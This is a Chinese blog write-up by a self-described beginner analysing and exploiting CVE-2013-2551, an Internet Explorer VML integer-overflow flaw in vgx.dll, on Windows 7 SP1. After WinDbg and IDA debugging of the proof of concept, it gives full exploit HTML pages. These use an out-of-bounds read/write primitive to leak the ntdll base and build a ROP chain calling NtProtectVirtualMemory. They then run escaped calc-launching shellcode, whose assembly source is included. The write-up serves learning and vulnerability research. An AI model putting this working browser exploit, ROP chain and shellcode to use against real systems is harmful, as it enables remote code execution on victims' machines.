小白的CVE-2013-2551 分析 & 利用

0xFF 前言

小白第一次尝试来分析浏览器的漏洞,在此之前我不会html,javascript,css,总之跟网站有关的我都不会。然后我花了一天去看与之相关的东西。学习了下javascript的基本语法。总之浏览器的东西真的好复杂啊。分析和利用这个cve-2013-2551也算是开启了新世界的大门吧。大概的路线是:

了解html+javascript+css --> 了解ie相关 -->调试 -->利用。

感谢那些在网上分享知识的大佬,没有你们的文章,我想短时间内搞懂一些浏览器的东西,是根本不可能的。

具体大佬连接在最后。

本文章仅仅是一个小白,自娱自乐的分析cve-2013-2551这个漏洞的记录而已。大部分为抄写笔记,所以很多雷同,大佬见到勿喷。

我是以一个从来没有接触过浏览器漏洞分析利用,没有任何exp编写经验的视角写的这篇文章,所以会有点长,会非常细。

0x00 环境和工具

  • windows 7 cn_windows_7_ultimate_with_sp1_x86_dvd_u_677486.iso
  • Windbg
  • IDA

接下来的文章,就是在上面给出的这个windows 7 旗舰版下分析的,安装系统之后关闭了自动更新,然后使用windbg下载了相关符号文件。

ie版本:

ntdll (C:\Windows\System32\ntdll.dll)版本:

0x01 分析POC

POC

将下面代码复制到一个poc.html内。

<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array() function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
} function crashme(){ var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape") for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
} vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1 for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>

调试

首先使用gflags给iexplorer.exe 开启PageHeap

开启之后就可以开始分析了!

1、打开这个poc.html。会弹出如下页面:

这个时候先不要点那个“为了有利于保护安全性,Inter ..... 选项”。

2、打开windbg,F6 出现以下对话框:

可以发现出现了两个iexplore.exe,那么我们应该选择哪个呢? 选第二个(第二个为子进程),记住要选第二个,不管前面那个数字大小,选第 二 个 就行了。

选了第二个,点击OK按钮,出现下图:

然后输入g命令,回车。

3、允许阻止的内容,然后点击crash!!!按钮。

发现windbg断下(可能没有断下,重新来一遍就行了)。

开始栈回溯,使用k命令:

可以看到是vgx模块出的错,那么下面把vgx.dll拿出来使用IDA分析。

使用lmvm 命令得到vgx.dll的路径:

4、开始分析vgx!ORG::Get函数。

下面我们来逆向调试一下。调用到ORG::Get()时它的三个参数,和memcpy的三个参数的值是啥,看看能不能找出什么线索。

重新打开poc.html使用windbg附加,然后使用bp vgx!ORG::Get() 下断点,然后g运行,点击crash!!!按钮。

可以发现断下,然后使用p单步运行3次(保证栈帧形成),然后查看参数如下图:

可以看到第三个参数是0x44。等等我们poc中的

marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);//0x2E+0x16=0x44

不就是0x44吗?难道和这儿有关?那我们将poc中的那个0x2E+0x16改为:

marginLeftAddress = vml1.dashstyle.array.item(0x66);

再来试试呢?下面是我试出来的:

还真是。那么继续看看memcpy的三个参数。

 memcpy(
Dst,
(const void *)(*((_DWORD *)this + 4) + index * (*((_DWORD *)this + 2) & 0xFFFF)),
*((_DWORD *)this + 2) & 0xFFFF);

可以看到 第二个参数(源地址)和 第三个参数(拷贝长度) 都于this有关。这里的this是ORG对象的指针。在windbg中查看下this的各个成员的值:

其中那个0x1d976f50即 *((_DWORD *)this + 4) 是非常有趣的,它所指向内存的地址里面的东西居然是1 2 3 ...

那不就是poc.html中的:

vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"

那么可以猜测ORG::Get函数的功能就是获取vml1.dashstyle中的第几个元素的值。比如ORG::Get(this,&Dst,1),那么执行后Dst的值就是1了。

但是vml1.dashstyle中一共也就0x2C个元素啊。但是调试的时候却发现第三个参数index却为0x44。很明显访问越界了。而像这种对象,肯定是存在长度检测的,比如下面这种代码:

ORG::GetXXX(this,Dst,index)
{
...
if(index < this->size)
{
ORG::Get(this,Dst,index);
}
...
}

或者说ORG这个对象应该有个字段存储着当前的元素个数的。

来看看代码,一层一层向上栈回溯。慢慢找判断,一般来说就是向上一层。

向上一层调用的是:vgx!COALineDashStyleArray::get_item函数。很幸运,可以找到是否要调用ORG::Get的代码如下:

调试得到,totalnum的值居然是0xffff !!!也就是说:

而poc.html中存在如下语句:

 vml1.dashstyle.array.length     = 0 - 1
shape.dashstyle.array.length = 0 - 1

猜测这就是对长度进行设置的代码。

此时我们已经大概了解的这个漏洞的原理,但还是没有追溯到修改数组长度的根源。接下来我们将要试图找到修改length的具体代码。

5、下面的步骤是参看hpasserby大佬的文章中的方法分析 来寻找修改length的具体代码。

因为在c++在创建对象的时候,会将对象的虚表地址拷贝到对象的内存中,所以我们在代码中搜索对vgx!ORG::'vftable'的引用,试图找到创建vgx!ORG对象的代码。

IDA中,在汇编代码窗口使用快捷键(要在汇编窗口使用哦,要不然搜不到) : ALT + T ,然后输入ORG::`vftable' 进行搜索。

得到结果如下:

可以看到,除了虚表本身以及两个ORG对象的成员函数外,只剩一个函数:

signed int __stdcall MsoFCreateArray(__int16 a1, _DWORD *a2)

先把那个“为了有利于安全性”点了之后,再在windbg中对其下断点,g之后,再点crash!!!:

0:015> bp vgx!MsoFCreateArray
0:015> g
Breakpoint 0 hit
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1df esp=04749534 ebp=04749548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray:
6e86d1df 8bff mov edi,edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e1 esp=04749534 ebp=04749548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x2:
6e86d1e1 55 push ebp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e2 esp=04749530 ebp=04749548 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x3:
6e86d1e2 8bec mov ebp,esp
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e4 esp=04749530 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x5:
6e86d1e4 56 push esi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e5 esp=0474952c ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x6:
6e86d1e5 57 push edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=047495c8
eip=6e86d1e6 esp=04749528 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0x7:
6e86d1e6 bf01010000 mov edi,101h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1eb esp=04749528 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xc:
6e86d1eb 57 push edi
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ec esp=04749524 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xd:
6e86d1ec 6a14 push 14h
0:005> p
eax=04749560 ebx=047495c8 ecx=047495c8 edx=00000001 esi=047495cc edi=00000101
eip=6e86d1ee esp=04749520 ebp=04749530 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vgx!MsoFCreateArray+0xf:
6e86d1ee e88a67fdff call vgx!operator new (6e84397d)
0:005> p
eax=1e468fe8 ebx=047495c8 ecx=00000014 edx=00000000 esi=047495cc edi=00000101
eip=6e86d1f3 esp=04749520 ebp=04749530 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
vgx!MsoFCreateArray+0x14:
6e86d1f3 59 pop ecx //eax=1e468fe8就是对象的地址

可以发现这里创建了一个vgx!ORG对象,我们对它的length所在地址下内存断点,来观察其值的变化。这里我就使用条件断点。

0:005> ba w2 1e468fe8+4 ".if (low(poi(1e468fe8+4))=0xffff) {dd 1e468fe8 l8} .else {gc}"
0:005> g
1e468fe8 6e857258 002cffff 00040004 00000101
1e468ff8 1d9d4f50 d0d0d0d0 ???????? ????????
eax=0000002c ebx=0000002d ecx=1d9d4f4c edx=0000002c esi=1e468fec edi=00000004
eip=6e8ac3c6 esp=047499c0 ebp=047499cc iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
vgx!MsoFRemovePx+0xaa:
6e8ac3c6 5f pop edi
0:005> k
ChildEBP RetAddr
047499cc 6e8ac7c6 vgx!MsoFRemovePx+0xaa
047499e4 6e86cf79 vgx!MsoDeletePx+0x15
047499f8 6e8bdbac vgx!ORG::DeleteRange+0x17
04749a24 77a93e75 vgx!COALineDashStyleArray::put_length+0xd7
04749a40 77a93cef OLEAUT32!DispCallFunc+0x165
04749ad0 6e8a47c1 OLEAUT32!CTypeInfo2::Invoke+0x23f
04749c5c 6e8c4a88 vgx!COADispatch::Invoke+0x89
...

看栈回溯,可以看到一个名为vgx!COALineDashStyleArray::put_length的函数,put_Length!!!,猜测就是这个函数设置的长度。那么就从这个函数开始IDA F5。

6、F5 COALineDashStyleArray::put_length得到下图:

比较处的汇编代码:

esi为-1,原始的oldLength为大于等于0的值,所以条件满足,跳转执行ORG::DeleteRange函数。(这里正常的逻辑是,如果newLength>oldLength,则不跳转,new一个空间;如果newLength<oldLength则调用ORG::DeleteRange删除之前的,进行截断。)

接着跳进ORG::DeleteRange函数,进行F5:

继续跟进MsoDeletePx函数,进行F5:

继续跟进MsoFRemovePx函数,进行F5:

汇编代码:

至此,分析完毕。

现在让我们回首一下:

调用

vml1.dashstyle.array.item(1)

我们可以读取到

 vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"

中的1。

通过

vml1.dashstyle.array.item(1)=6

我们可以将1改为6。

而通过漏洞我们可以将其长度扩展到0xffff

所以现在我们拥有了一个跨界的读和写。

那么假如我们通过合理的布局,将一个对象布置在 vml1.dashstyle的值所指内存的后面,那么我们就可以实现读写其对象成员的值(虚表之类的)。

0x02 利用

首先还是先把gflags给关了。

构造R3任意内存读写

注意我使用的ie版本,和ntdll的版本!要不然利用会完全不一样。

具体原理可以去看后面的参考文章

首先让我们来看一个简化版的利用exp1.html


<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body> <script>
var rect_array = new Array();
var a = new Array(); function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
} function leak(){
var vml1 = document.getElementById("vml1"); for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1; for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = 'a'
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
var leak = a[i].marginLeft;
alert("0x"+marginLeftAddress_modify.toString(16));
break;
}
}
}
createRects();
leak();
</script>
</html>

打开这个exp1.html,然后就会弹出一个提示框,这个时候不要关闭这个提示框,而是使用windbg附加iexploer进程,然后dd 这个提示框的地址。得如下图:

额,这个0x61不就是字符'a'吗?

再看看exp1.html中的代码:

 a[i].marginLeft = 'a';
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);

a[]数组是_vgRuntimeStyle对象。而a[i].marginLeft的值是'a',难道vml1.dashstyle.array.item(0x2E+0x16)读到的是_vgRuntimeStyle.marginLeft的地址?我们来验证一下:

由于这个时候我并不知道dashstyle的值的地址,所以只好使用暴力搜索的方法来搜索了。

果然如此,vml1.dashstyle.array.item(0x2E+0x16)读到的就是_vgRuntimeStyle.marginLeft的地址。

那么我们就可以通过vml1.dashstyle.array.item(0x2E+0x16)读写_vgRuntimeStyle.marginLeft的地址。使用

_vgRuntimeStyle.marginLeft=就可以实现任意R3空间的内存读写了。

给一张图加深理解:

劫持eip

更详细的请参看后面的参考文章

exp2.html


<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body> <script>
var rect_array = new Array();
var a = new Array(); function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
} function leak(){
var vml1 = document.getElementById("vml1"); for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1; for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = 'a'
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
var leak = a[i].marginLeft;
break;
}
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}
vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = 0; //覆盖到虚表 for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
} createRects();
leak();
exploit();
</script>
</html>

打开这个exp2.html,运行后,不要先点那个“为了有利于保护安全性”,而是先使用windbg附加ie后再点。之后会断下来。

真正call 的是 dword ptr [ecx+8] 。而我们可以控制vml1.dashstyle.array.item(6) 的值来控制ecx值。

利用利用

ok,下面开始总结下利用思路:我就想弹个计算器就行了,下面是一段简易的弹计算器shellcode。我们需要将它转换成html中的形式。具体需要使用到两个js函数。escape和unescape。

首先将 shellcode转换成word输出。(我这儿用的c语言)

#include<stdio.h>
#include<Windows.h> _declspec(naked) void func()
{
_asm
{
mov eax, fs:[0x30];// peb
mov ebx, [eax + 0xc]; //peb->Ldr
mov esi, [ebx + 0x14];//peb->Ldr.Inmemorder
lodsd;//eax="ntdll.dll"
xchg eax, esi;
lodsd;//eax="kernel32.dll"
mov ebx, [eax + 0x10]; //ebx = base address mov edx, [ebx + 0x3c]; //DOS->e_ifanew
add edx, ebx; // PE header
mov edx, [edx + 0x78];// edx = offset of EAT
add edx, ebx;// EAT mov esi, [edx + 0x20]; //Address of Names(RVA)
add esi, ebx;//Name Table
xor ecx, ecx;//index=0 Find_index:
inc ecx;
lodsd;//mov eax,[esi] RVA
add eax, ebx;
cmp dword ptr[eax], 0x50746547;//PteG
jnz Find_index;
cmp dword ptr[eax + 0x4], 0x41636f72;//Acor
jnz Find_index;
cmp dword ptr[eax + 0x8], 0x65726464; //erdd
jnz Find_index;
//get!
mov esi, [edx + 0x24];//AddressOfNameOrdinals RVA
add esi, ebx;//Ord Table
mov cx, [esi + ecx * 2];//cx = realindex mov esi, [edx + 0x1c];//AddressOfFunction RVA
add esi, ebx;//
dec ecx;// indx-1
mov edx, [esi + ecx * 4];
add edx, ebx;//GetProcAddress real address push 0x00636578;//xec
push 0x456E6957;//WinE
push esp;
push ebx;
call edx; push 0;
push 0x636c6163;//calc
mov edi, esp;
push 0;
push edi;
call eax;
ret
} } int main()
{
WORD data;
for (int i = 0; i <= 0x71/2; i++)
{
data = *((WORD*)func+i);
printf("\\u%04x", data);
}
return 0;
}

运行得:

使用js:


<script type="text/javascript"> shell = "\ua164\u0030\u0000\u588b\u8b0c\u1473\u96ad\u8bad\u1058\u538b\u033c\u8bd3\u7852\ud303\u728b\u0320\u33f3\u41c9\u03ad\u81c3\u4738\u7465\u7550\u81f4\u0478\u6f72\u4163\ueb75\u7881\u6408\u7264\u7565\u8be2\u2472\uf303\u8b66\u4e0c\u728b\u031c\u49f3\u148b\u038e\u68d3\u6578\u0063\u5768\u6e69\u5445\uff53\u6ad2\u6800\u6163\u636c\ufc8b\u006a\uff57\uc3d0"
shell = escape(shell)
document.write(shell) </script>

运行得到shellcode:

这个shellcode是有坑的,不是指这个shellcode运行不起来,而是... 待会儿会说。

%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0

还记得exp1.html中的:

a[i].marginLeft = 'a'

吗?我们可以这样做:

a[i].marginLeft = unescape("%uA1640%00%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0")

调试一下,看看是否写入shellcode。

出乎意料,只写入了\ua164\u0030\u0000。

原来是以\u0000就停止写入了。而mov eax, fs:[0x30];在句汇编恰好就是64 a1 30 00 00 00。

那怎么办呢?网上的老哥是用的

xor ecx, ecx

mov eax, dword ptr fs : [ecx + 30h]

来解决的,将mov eax, fs:[0x30]替换成上面那两句后,按照上面的步骤可以得到如下shellcode

%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0

这下再来调试试试呢?

写入成功!!!

而a[i].marginLeft的地址我们可以通过vml1.dashstyle.array.item(0x2E+0x16)得到。好的,那么现在我们已经得到了shellcode的地址了。下面需要做的就是写rop链,将这段内存改为可执行属性。

首先我们需要泄露ntdll的地址。

试试u SharedUserData!SystemCallStub。这是个固定的地址0x7ffe0300,用来实现快速系统调用。可以使用它来泄露ntdll的基址。(大佬想出的方法,小白只能膜拜)

所以使用任意内存读写,可以得到ntdll的基址。

先获取0x7ffe0300处的值 ,然后用这个值减去0x470b0即可得到ntdll的基址。

下面就可以构造rop了。

首先是做stack pivot。参考的是大佬的来做的。具体可以参见下面的完整exp。

完整exp。

<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body> <script>
var rect_array = new Array();
var a = new Array(); var rop_addr;
var ntdllbase;
var shellcodeaddr; function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
} function leak(){
var vml1 = document.getElementById("vml1"); for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
} for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
} var length_orig = vml1.dashstyle.array.length;//44
vml1.dashstyle.array.length = 0 - 1; for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = unescape("%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x470B0;
shellcodeaddr = shelladdr;
var rop_chain = tab2uni(get_ropchain(shelladdr));
a[i].marginLeft = rop_chain;
rop_addr = vml1.dashstyle.array.item(0x2E+0x16); vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
vml1.dashstyle.array.length = length_orig; break;
}
}
} function get_ropchain(shelladdr){
var arr = [
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x47733), //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
0x200,// NtProtectVirtualMemory的第三个参数所指的值
];
return arr;
} function d2u(dword) {
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
} function tab2uni(tab) {
var uni = ""
for(var i=0;i<tab.length;i++) {
uni += d2u(tab[i]);
}
return uni;
} function exploit(){
var vml1 = document.getElementById("vml1") for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
} var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1; vml1.dashstyle.array.item(6) = rop_addr; //覆盖到虚表 vml1.dashstyle.array.item( 9) = ntdllbase+Number(0x47643); //pop edi # ret
vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45f18); //NtProtectVirtualMemory
vml1.dashstyle.array.item(11) = ntdllbase+Number(0xc71ef); //pop esi # ret
vml1.dashstyle.array.item(12) = shellcodeaddr;
vml1.dashstyle.array.item(13) = ntdllbase+Number(0xcb72a); //pop ebp # ret
vml1.dashstyle.array.item(14) = 0-1; // -1
vml1.dashstyle.array.item(15) = ntdllbase+Number(0x348b9); //pop ebx # ret
vml1.dashstyle.array.item(16) = rop_addr+12; //ptr RegionSize
vml1.dashstyle.array.item(17) = ntdllbase+Number(0x9a30c); //pop eax # ret
vml1.dashstyle.array.item(18) = 0-96601473;
vml1.dashstyle.array.item(19) = ntdllbase+Number(0x3ab39); //add eax,5C205C1h # ret
vml1.dashstyle.array.item(20) = ntdllbase+Number(0x36d70); //xchg eax,edx # ret
vml1.dashstyle.array.item(21) = ntdllbase+Number(0xcd241); //pop ecx # ret
vml1.dashstyle.array.item(22) = rop_addr; //ptr to OldAccessProtection
vml1.dashstyle.array.item(23) = ntdllbase+Number(0x227c4); //pushad # ret
vml1.dashstyle.array.item(24) = shellcodeaddr;
vml1.dashstyle.array.item(25) = Number(0x10400);
vml1.dashstyle.array.item(26) = shellcodeaddr;
for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
} createRects();
leak();
exploit();
</script>
</html>

0x03 总结:

浏览器很难,很难。ROP很需要技巧和脑洞,利用很需要积累和脑洞。我多总结,多想。

强烈安利0x9A82,hpasserby的文章。感觉可以学到好多。

0x04 参考

都是一些大佬的文章:

https://www.cnblogs.com/Danny-Wei/p/3766432.html ROP 参考

https://hpasserby.me/post/ef2727d8.html 非常详细的文章,本文大部分都是抄的这位大佬的。(要翻wall)

https://www.cnblogs.com/Ox9A82/p/5782425.html 巨佬的文章,非常值得学习,他看雪论坛里面也有非常多的文章,还有浏览器的教程。

CVE-2013-2551的更多相关文章

  1. 2013年新统计全国省市县以及邮政编码SQL数据脚本

    USE [imei8com] GO /****** Object: Table [dbo].[Zone] Script Date: 03/12/2014 15:05:41 ******/ SET AN ...

  2. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  3. 2013 Asia Changsha Regional Contest---Josephina and RPG(DP)

    题目链接 http://acm.hdu.edu.cn/showproblem.php?pid=4800 Problem Description A role-playing game (RPG and ...

  4. SharePoint 2013: A feature with ID has already been installed in this farm

    使用Visual Studio 2013创建一个可视web 部件,当右击项目选择"部署"时报错: "Error occurred in deployment step ' ...

  5. Visual Studio 2013 添加一般应用程序(.ashx)文件到SharePoint项目

    默认,在用vs2013开发SharePoint项目时,vs没有提供一般应用程序(.ashx)的项目模板,本文解决此问题. 以管理员身份启动vs2013,创建一个"SharePoint 201 ...

  6. SharePoint 2013 create workflow by SharePoint Designer 2013

    这篇文章主要基于上一篇http://www.cnblogs.com/qindy/p/6242714.html的基础上,create a sample workflow by SharePoint De ...

  7. Install and Configure SharePoint 2013 Workflow

    这篇文章主要briefly introduce the Install and configure SharePoint 2013 Workflow. Microsoft 推出了新的Workflow ...

  8. SharePoint 2013 configure and publish infopth

    This article will simply descript how to configure and publish a InfoPath step by step. Note: To con ...

  9. TFS 2013 培训视频

    最近给某企业培训了完整的 TFS 2013 系列课程,一共四天. 下面是该课程的内容安排: 项目管理     建立项目     成员的维护     Backlog 定义     任务拆分     迭代 ...

  10. Visual Studio 2013 Ultimate因为CodeLens功能导致Microsoft.Alm.Shared.Remoting.RemoteContainer.dll高CPU占用率的折中解决方案

    1.为什么Microsoft.Alm.Shared.Remoting.RemoteContainer.dll的CPU占用率以及内存使用率会那么高? 在Visual Studio 2013 Ultima ...

随机推荐

  1. Flutter踩坑日记:接入现有iOS项目

